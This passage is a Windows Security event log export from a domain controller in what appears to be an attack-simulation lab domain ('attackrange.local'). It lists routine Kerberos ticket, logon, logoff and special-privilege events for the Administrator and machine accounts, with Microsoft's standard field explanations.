Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250907
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250906
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE11

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250905
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE11

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250904
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE11
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250903
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250902
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250901
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250900
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F6E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250899
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F11E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250898
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FC04

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250897
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11FC04
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64488

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250896
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FC04

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FB65

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250894
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11FB65
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64487

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FB65

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250892
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FAAC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250891
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11FAAC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64486

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250890
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FAAC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250889
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FA4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250888
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11FA4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64485

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250887
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FA4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250886
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F6E1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250885
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F6E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250884
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250883
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250882
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250881
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F11E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250880
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11F11E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
